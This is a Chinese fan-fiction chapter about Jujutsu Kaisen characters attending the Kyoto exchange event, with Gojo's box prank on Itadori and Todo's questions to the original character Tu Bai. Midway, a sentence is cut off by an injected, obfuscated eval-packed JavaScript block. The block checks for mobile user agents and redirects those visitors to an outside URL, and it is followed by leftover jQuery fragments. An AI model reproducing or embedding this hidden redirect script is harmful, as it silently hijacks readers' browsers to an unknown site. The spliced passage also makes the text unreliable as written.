周三早上六点,涂白的门就被敲响了。
他睡眼惺忪地开门,五条悟站在外面,手里拎着两个行李箱——都不是他自己的尺寸,一看就是临时买的。
“前辈?”涂白揉眼睛,“这么早……”
“收拾东西,去京都。”五条悟挤进门,把一个行李箱推给他,“给你二十分钟,换衣服装行李。车七点准时出发。”
涂白脑子还在重启:“去京都……干嘛?”
“姐妹校交流会啊~”五条悟理所当然地说,“带你去见见世面。”
“我又不是高专的学生——”
“你是特邀观察员。”五条悟从口袋里掏出一张皱巴巴的纸,上面盖着夜蛾正道的章,“夜蛾校长特批的。快去快去,要迟到了。”
涂白被推进卧室。他迷迷糊糊换了衣服——简单的白T恤和黑色运动裤,往行李箱里塞了几件换洗衣物和洗漱用品,就被五条悟拉着出了门。
楼下停着一辆专车。车门开着,虎杖悠仁已经在里面了,正兴奋地朝他们挥手:“五条老师!涂白前辈!这边!”
涂白上车,五条悟把行李箱塞进后备箱,然后坐到他旁边。车开了。
“虎杖,”五条悟转头看向后排,“伏黑和钉崎已经跟二年级的先走了,我们这车就我们三个。”
“我知道!”虎杖眼睛发亮,“老师说有惊喜要准备,是什么啊?”
五条悟笑了,笑容里带着涂白熟悉的、恶作剧的味道:“你之前不是‘死’过一次吗?伏黑和钉崎都以为你真死了,伤心了好一阵呢。”
虎杖表情僵了下:“……对哦。”
“所以这次,我们给他们一个惊喜。”五条悟从座位底下拖出一个大纸箱——真不知道他什么时候塞进去的,“你躲进这个箱子里,等到了京都校,我让人把你抬到他们面前。然后——”
他做了个“砰”的手势:“突然冒出来!惊不惊喜?意不意外?”
虎杖愣了两秒,然后兴奋地拍大腿:“好主意!他们肯定会吓一跳!”
涂白在旁边欲言又止。
他看了看那个箱子——不大不小,虎杖缩进去应该刚好。又看了看五条悟脸上的笑——那种“我要搞事了”的笑。
再看了看虎杖单纯兴奋的表情。
涂白张了张嘴,想说“这可能会被打”,但话到嘴边又咽回去了。
算了。
俗话说死贫道不死道友。难得五条悟没把主意打到自己身上,就让虎杖……自求多福吧。
涂白默默往车窗边挪了挪,降低存在感。
车开了三个多小时。途中虎杖真的钻进了那个箱子,五条悟还在上面贴了张“易碎品”的标签。涂白一路看着窗外飞速倒退的景色,假装自己不存在。
到京都校时快十一点。车直接开进校园,停在一栋古朴的建筑前。
“到了。”五条悟下车,敲了敲后备箱,“箱子抬出来,小心点~”
涂白帮忙把箱子抬下来——还挺沉的。五条悟指挥两个路过的京都校学生:“麻烦把这个箱子送到东京校的休息室,说是五条老师送的礼物。”
学生疑惑地看了箱子一眼,但不敢多问,抬着走了。
五条悟转身,揽住涂白的肩膀:“走,我们也过去。看好戏~”
涂白被他半拖半拽地往休息室走。京都校的校园比东京校更古雅,建筑是传统的日式风格,庭院里种满了枫树,虽然还没到红叶的季节,但绿意盎然。
走到休息室门口,就听见里面传来声音。
“五条老师送的礼物?”是钉崎的声音,“那家伙又想干嘛……”
“打开看看?”另一个女声,涂白没听过。
然后是一阵拆箱子的声音。
紧接着——
“Surprise!!!”是虎杖从箱子里蹦出来的声音。
然后是死一般的寂静。
三秒过后。
“虎杖悠仁——!!!!!”钉崎的尖叫声几乎掀翻屋顶。
再然后就是“咚!”“砰!”“啊!”的混乱声响。
涂白站在门外,透过门缝往里看。虎杖被钉崎用锤子追着打,伏黑虽然没动手,但脸色黑得像锅底,手里捏着咒印,影子蠢蠢欲动。
房间里还有另外三个人。一个黑色长发的女生,扎着高马尾,戴着眼镜,表情冷淡;一个白色短发、用高领遮住下半张脸的男生;还有一个……
涂白眼睛睁大了。
那竟然是个熊猫。真的熊猫,黑白相间,圆滚滚的,站在那里,还会动。
“熊猫……?”涂白脱口而出。
五条悟笑了:“那是熊猫,二年级的,是个咒骸哦~”
“咒骸?”
“就是咒术制造的玩偶啦~”五条悟推开门,“哟,都在呢?”
房间里瞬间安静。所有人都看过来。
虎杖躲在桌子后面,头上肿了个包。钉崎还举着锤子,喘着气。伏黑收回咒印。二年级的三人都看向门口。
黑色长发的女生——禅院真希——推了推眼镜:“五条老师,这位是?”
“涂白,一级咒术师,这次特邀来观察交流会的。”五条悟把涂白往前推了推,“小白,这是真希,二年级的。这是狗卷棘,这是熊猫。”
狗卷棘拉了下高领:“鲑鱼。”
熊猫挥了挥爪子:“你好呀~”
涂白还有点懵,但礼貌点头:“你们好。”
虎杖从桌子后面钻出来:“涂白前辈很厉害的!构筑术式超强!”
真希打量涂白,眼神锐利:“构筑术式?你是五条老师的……”
“搭档。”涂白抢答。
钉崎在旁边冷笑一声:“呵,男人。”
涂白假装没听见。
熊猫凑过来,鼻子动了动,圆圆的黑眼睛盯着涂白看了一会儿:“唔……你身上有股特别的味道。”
涂白心里一紧:“什么味道?”
“说不清……”熊猫歪头,“有点像……森林?但又不太一样。”
五条悟插话:“好了好了,别围观了。交流会下午开始,你们该准备准备了。”
学生们散开去准备。五条悟拉着涂白走出休息室,在校园里闲逛。
逛到主楼前时,碰上了京都校的人。
领头的是个穿着巫女服的女人,黑色长发,表情严肃——是庵歌姬。她身后跟着几个学生:一个身材高大、留着和尚头的男生(东堂葵),一个扎着丸子头、笑容温和的男生(加茂宪纪),还有几个涂白不认识的学生。
歌姬看见五条悟,眉头立刻皱起来:“五条,你又想干嘛?”
“带我家兔子来参观啊~”五条悟很自然地揽住涂白肩膀,“歌姬你看,可爱吧?”
歌姬看向涂白,愣了下:“涂白君?你不是高专的学生吧?”
涂白点头:“我是一级咒术师,这次是特邀观察员。”
“一级?”歌姬挑眉,然后瞪向五条悟,“你别祸害普通人——”
“他都一级了还算普通人?”五条悟笑。
歌姬噎住。她仔细打量涂白,眼神复杂,最后叹了口气:“算了,你爱怎样怎样。但交流会期间别搞事,听到没?”
“我什么时候搞过事~”
歌姬翻了个白眼,带着学生走了。
但那个高大的和尚头男生——东堂葵——没走。他走过来,站在涂白面前,身高比涂白高出一个头还多,俯视着他。
“你,”东堂开口,声音低沉,“喜欢什么类型的女人?”
涂白愣住。
这是什么问题?
他下意识看向五条悟,五条悟正笑眯眯地看着他,一副“我也想知道”的表情。
涂白脑子有点乱。他从来没想过这个问题。喜欢什么类型的女人?他……
脑子里突然闪过一张脸。
白头发,墨镜,漂亮的冰蓝色的眼睛,总是带着笑意但是看起来极其欠扁的嘴角。
那是五条悟的脸。
涂白的脸“唰”地一下变的通红。
“我、我……”他结结巴巴,“应该,可能……喜欢……个子高的……吧?”
说完他就后悔了。这什么烂回答?
但东堂眼睛一亮:“个子高的?多高?”
“就……高一点的……”涂白想抽自己。
“具体的呢?一米七?一米八?还是——”东堂看向五条悟,“像五条
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123007|195985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老师这么高的?”
涂白脸更红了:“差、差不多……”
东堂一拍大腿:“不错!有品位!我也喜欢个子高的女人!”
他正要继续说什么,后面的加茂宪纪喊他:“东堂,该去准备了。”
东堂这才作罢,但对涂白点点头:“交流会结束后再聊。”然后大步离开了。
涂白立刻松了口气。
但一口气还没松完,五条悟就又凑过来了。
他揽着涂白的肩膀,整个人像没骨头的大型猫一样靠在涂白身上,脑袋搁在涂白头顶——这个姿势让他不得不弯腰,但他好像就喜欢这么挂着。
“原来小白喜欢个子高的呀?”五条悟的声音在头顶响起,带着笑意,“那为什么对我这么冷淡,我都一米九了,难道不够高吗?”
涂白被他压得肩膀一沉:“前辈,你很沉的好吗……”
“有吗?”五条悟不但没起来,反而把更多重量压过来,“我觉得刚好~”
涂白推他,推不动。五条悟像块牛皮糖似的,黏在他身上。
最终他只能认命地扛着他走。
歌姬在前面回头看了一眼,表情更复杂了。
真希走在旁边,小声对熊猫说:“五条老师越来越不像话了。”
“木鱼花。”狗卷点头。
熊猫摸着下巴:“不过那个涂白君……挺有趣的。”
“希望别被五条老师带坏了。”
一行人走进主楼。京都校的建筑比东京校更古朴,木地板,纸拉门,空气里有淡淡的线香味。
交流会下午才开始,上午是自由活动时间。五条悟被歌姬叫去开会,虎杖被东堂拉去“交流感情”,伏黑和钉崎跟二年级的一起去熟悉场地。
涂白一个人站在走廊里,有点不知道该干嘛。
熊猫走过来:“无聊吗?我带你去逛逛?”
“可以吗?”
“当然~反正我也没事。”熊猫迈着内八字步往前走,“京都校比东京校大一点,后面还有训练场和神社……”
涂白跟上去。熊猫是个很健谈的向导,一边走一边介绍,偶尔还讲讲京都校学生的八卦。
“那个东堂,喜欢一个叫小高田的偶像,每次演唱会必去。”
“加茂家的那个,有点古板,但人不坏。”
“还有三轮,挺努力的女生,就是运气不太好……”
涂白听着,觉得挺有意思。他很少接触其他咒术师,尤其是非东京校的。
走到庭院时,他们看到真希和狗卷正在和一个京都校的女生说话。女生短发,看起来很干练。
“那是三轮霞。”熊猫说,“京都校的二年级,用刀的。”
三轮看到他们,点头致意。她的视线在涂白身上停了下,然后问熊猫:“这位是?”
“东京校的客人,涂白君,一级咒术师。”
“一级?”三轮惊讶,“这么年轻?”
“自学成才哦~”熊猫笑。
三轮看向涂白的眼神多了些敬佩:“厉害。”
涂白被夸得不好意思:“没有……”
“涂白君的术式是构筑。”熊猫补充,“能造出各种东西。”
“哦?”三轮感兴趣了,“能构筑刀吗?”
“……能。”
“那有空可以切磋一下吗?我想看看构筑的刀和真实的刀有什么不同。”
涂白点头:“好。”
他们在庭院里聊了一会儿,直到五条悟开完会回来。
“哟,聊得挺开心嘛~”五条悟走过来,很自然地又把手搭在涂白肩上,“小白,歌姬说你可以当特邀观察员,不用参加比赛,就坐在我旁边看。”
“……哦。”
“下午比赛两点开始,现在先去吃饭。”五条悟揽着他往食堂走,“京都校的伙食还不错,尤其是天妇罗~”
涂白被他带着走,回头对熊猫和三轮挥了挥手。
熊猫笑着挥手回应。
三轮小声对真希说:“五条老师和那位涂白君……关系真好。”
真希推了推眼镜:“谁知道呢。”
狗卷看着两人走远的背影,吐出两个字:
“鲑鱼子。”